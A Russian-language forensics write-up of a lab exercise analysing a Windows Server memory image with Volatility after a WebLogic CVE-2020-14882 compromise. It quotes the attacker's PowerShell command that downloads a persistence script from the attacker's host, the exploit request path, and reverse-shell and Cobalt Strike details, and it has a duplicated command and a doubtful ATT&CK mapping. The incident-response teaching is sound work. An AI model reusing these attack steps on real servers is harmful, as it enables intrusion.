Статья Уроки форензики. Извлекаем артефакты из дампа памяти сервера

[baykal]

Когда злоумышленники атакуют сеть предприятия, у специалистов по информационной безопасности зачастую остается не так уж и много материала для исследований — например, только образ памяти скомпрометированного сервера. Подобную ситуацию описывает задание BSidesJeddah-Part2 с ресурса CyberDefenders, которое мы сегодня разберем.

Наша задача — выявить причины взлома веб‑сервиса, развернутого на Oracle WebLogic Server, и научиться извлекать основные артефакты из образа оперативной памяти Windows.

По сценарию устройство мониторинга сетевой безопасности зафиксировало подозрительный трафик, исходящий от одного из веб‑серверов организации. Мы должны проанализировать образ памяти сервера и восстановить картину взлома информационного ресурса.

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ​

1. Volatility Framework 2.6.1 — инструмент, реализованный на Python версии 2 и предназначенный для извлечения артефактов из образцов энергозависимой памяти.
2. Volatility 3 — обновленный инструмент для извлечения артефактов, разработанный на Python 3.

Загрузим файл архива с артефактами, извлечем из него файл memory.mem (SHA256:5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f9960f39) и приступим к исследованию.

ИССЛЕДОВАНИЕ ОБРАЗА ПАМЯТИ​

При работе с этим образом мы будем пользоваться фреймворком Volatility версий 2 и 3. Их основное различие описано в документации. Удобство работы с третьей версией заключается в том, что она не использует профили операционной системы, а умеет определять их на лету, с помощью таблиц символов Windows. Но большинство плагинов разработано для второй версии.

Получим профиль операционной системы для работы с утилитой Volatility 2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo

Профиль операционной системы — Win2016x64_14393.

Прежде чем мы приступим к анализу артефактов, необходимо понять, с какой системой мы работаем. Для этого получим версию операционной системы, имя компьютера, а также сетевой адрес. Пробежимся по ключам реестра с использованием плагина printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\ComputerName"

Имя компьютера — WIN-8QOTRH7EMHC.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces"

Мы получили список идентификаторов сетевых интерфейсов. Проверим каждый из них.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces\{792f6020-c342-4520-922a-542fbfccc4b6}"

Сетевой адрес компьютера — 192.168.144.131, IP-адрес выдается DHCP-сервером 192.168.144.254.

Теперь получим информацию о версии операционной системы.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion"

Версия операционной системы — Windows Server 2016 Standard Evaluation.

Получим время, которое было зафиксировано в момент снятия образа оперативной памяти. Для этого воспользуемся плагином windows.info утилиты Volatility 3.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info

Системное время — 2021-08-06 16:13:23.

Далее попытаемся восстановить действия пользователя в системе. Проанализируем историю браузера, в данном случае Internet Explorer. Для этого воспользуемся плагином iehistory.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt

Нам удалось выяснить, что 6 августа 2021 года пользователь Administrator посетил страницу news.google.com.

Теперь приступим к поиску вредоносной активности. Для этого нам необходимо проанализировать процессы, сетевой трафик, команды запуска исполняемых файлов, а также исследовать строки процессов.
Для начала получим список запущенных в системе процессов, а также сетевую активность и сохраним результат работы плагинов в файлы pstree.txt и netscan.txt соответственно.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 pstree > c63-bsidesjeddah-mem/pstree.txt

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 netscan > c63-bsidesjeddah-mem/netscan.txt

В списке процессов можно заменить программу RamCapture.exe компании Belkasoft.

В файле netscan.txt отмечено двенадцать стабильных сетевых соединений, об этом нам говорит колонка State, демонстрирующая работу плагина netscan с установленным значением ESTABLISHED.

Проанализируем дерево процессов и найдем среди них аномальные. Необходимо обращать внимание на процессы, которые запускают дочерний процесс с именами cmd.exe, powershell.exe, conhost.exe, а также на исполняемые файлы с нестандартным расположением.

Процессом java.exe (идентификатор 4752) запущено множество дочерних powershell.exe, что может свидетельствовать о подозрительной активности. Также у процесса powershell.exe (идентификатор 4344) запущены дочерние процессы conhost.exe (идентификатор 4636) и svchost.exe (идентификатор 1488).

Получим дамп данных процессов и проанализируем их строки.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/

Мы сохранили дамп в файл 4752.dmp.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/

Результат работы сохранен в файле 4344.dmp.
Теперь с помощью утилиты strings вытащим все строки и сохраним их в файл.

strings 4752.dmp > str_4752.txt

strings 4344.dmp > str_4344.txt

Прежде чем анализировать строки, получим аргументы командной строки для запуска процессов. Для этого воспользуемся плагином cmdline и найдем в нем процесс java.exe (идентификатор 4752).

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt

Процесс cmd.exe (идентификатор 4556), который является родителем процесса java.exe (4752), запускает сервер WebLogic. Значит, процесс java.exe — результат работы веб‑сервера.
Выясним версию WebLogic, для этого получим список файлов в системе.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt

Анализируя список файлов, мы обнаруживаем файл лога веб‑сервера WebLogic — AdminServer.log.

Восстановим его и проанализируем: виртуальный адрес файла в образе памяти — 0xb68cb2c205c0. Восстановить этот файл с использованием утилиты Volatility 2 мне не удалось, попробуем это сделать с помощью Volatility 3.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2c205c0

В восстановленном файле указана версия WebLogic Server — 14.1.1.0.0.

Слушатель WebLogic Server работает на порте 7001, но запросы к веб‑серверу идут на 80-й порт.

Найдем перенаправление порта в ключе реестра PortProxy, для этого воспользуемся плагином printkey.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey  -K "ControlSet001\Services\PortProxy\v4tov4\tcp"

В системе установлено перенаправление порта 80:7001.

Мы выяснили версию веб‑сервера: она уязвима и позволяет выполнять удаленный код в системе. В файле лога AdminServer.log видны результаты выполнения функции com.tangosol.coherence.mvel2.sh.ShellSession, а также запрос к /console/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage.

Теперь найдем процесс, через который злоумышленник получил первоначальный доступ. У нас есть дамп процесса 4752, мы нашли его строки, теперь отыщем в нем GET-запрос с параметром handle=com.tangosol.coherence.mvel2.sh.ShellSession.

Итак, искомый процесс — это java.exe, идентификатор 4752. Именно он был ответственен за первоначальный доступ к системе. Злоумышленник проэксплуатировал уязвимость CVE-2020-14882 в сервере WebLogic версии 14.1.1.0.0, позволяющую выполнять удаленный код в системе. Как видно из иллюстрации выше, хакер запустил обратную оболочку с управляющим сервером 192.168.144.129:1339.

Анализируя работу плагина netscan, можно увидеть запущенный процесс powershell.exe (идентификатор 4344), который взаимодействует с 192.168.144.129:1339.

Результат работы плагина netscan
Воспользуемся плагином pslist и найдем следующий процесс в списке ActiveProcessLinks, его идентификатор 4772.

Как видно из иллюстрации, процесс java.exe имеет 44 потока. Продолжим анализировать строки процесса java.exe.
В результате анализа строк можно увидеть загрузку файлов presist.ps1 и pastebin.ps1.

Попробуем восстановить команды для загрузки этих файлов. Так как команды выполняются с использованием PowerShell, получим дамп всех процессов powershell.exe, запущенных от имени java.exe (идентификатор 4752). Для этого воспользуемся плагином memdump. Восстановим команду для загрузки сценариев PowerShell.

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Команда для загрузки сценария presist.ps1 выглядит следующим образом:

Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1" -OutFile "./presist.ps1"

Загрузка файла pastebin.ps1 выполнялась при помощи следующей команды:

strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u

Найдем код pastebin.ps1 и проанализируем его. Для этого будем искать этот код в строках дампа наших процессов. При исследовании результатов вывода плагина cmdline мы заметили, что процесс notepad.exe (идентификатор 4596) открыл файл exfiltrator.txt.

Получим дамп процесса 4596 и проанализируем строки.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/

Этот скрипт предназначен для выгрузки текстовых файлов на ресурс pastebin.com, но ему в качестве параметра необходимо указать ссылку. Поиск ссылки на выгрузку файлов в строках дампа процесса notepad.exe не дал результатов.

В строках вредоносного процесса 4344 удалось обнаружить ссылку https://pastebin.com/A0Ljk8tu для выгрузки файлов. Значит, скрипт pastebin.ps1 запускался от имени данного процесса.

Найдем методы закрепления злоумышленника в системе. Для этого воспользуемся плагином autoruns или проанализируем строки процесса 4344.

Злоумышленник создал службу ServiceUpdate, которая запускает обратную оболочку с управляющим сервером 192.168.144.129, порт 1339. Согласно матрице MITRE ATT&CK, идентификатор этой техники — T1053.005.

Продолжаем анализировать вредоносные процессы. Получим дамп процесса svchost.exe (идентификатор 1488), найдем его виртуальный адрес расположения файла в системе и с помощью плагина windows.dumpfiles утилиты Volatility 3 выгрузим его.

Виртуальный адрес файла в образе памяти — 0xb68cb2b8a080. Восстановим его.

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2b8a080

После восстановления получим MD5-сумму файла 2c5ae1d11a02d19ab65f5fc06a33d603 и проверим ее на VirusTotal. Согласно отчету антивирусных компаний, перед нами полезная нагрузка фреймворка Cobalt Strike. Получим дамп процесса и попробуем вытащить конфигурацию C2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/

Загрузим утилиту parse cobalt strike config и найдем в памяти процесса конфигурацию маяка.

python3 parse_beacon_config.py  ../pid.1488.dmp --version 4

Мы узнали тип маяка (HTTP), адрес управляющего сервера (192.168.144.129), порт (1339), а также публичный ключ. Получим MD5-сумму ключа.

echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6K4H+DGYx/RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum

MD5-сумма публичного ключа — fc627cf00878e4d4f7997cb26a80e6fc.

ВЫВОДЫ​

Мы провели расследование инцидента и восстановили картину взлома ресурса: 6 августа 2021 года злоумышленник проэксплуатировал уязвимость CVE-2020-14882 в Oracle WebLogic Server, которая позволяет не прошедшим авторизацию пользователям выполнять удаленный код в системе.

Таким образом атакующий загрузил обратную оболочку с управляющим сервером 192.168.144.129, порт 1339. Далее он закрепился в системе, создав службу ServiceUpdate. Для этого злоумышленник загрузил PowerShell-сценарий presist.ps1. Данный сценарий создает службу ServiceUpdate, которая запускает обратную оболочку.

Для эксфильтрации данных злоумышленник загрузил сценарий pastebin.ps1, который отправляет собранные файлы на удаленный сервер. Затем атакующий загрузил маяк Cobalt Strike для постэксплуатации в системе.

В ходе нашего расследования мы научились извлекать конфигурацию маяка из памяти, а также искать важные артефакты в памяти процессов.

автор @rayhunt454
источник xakep.ru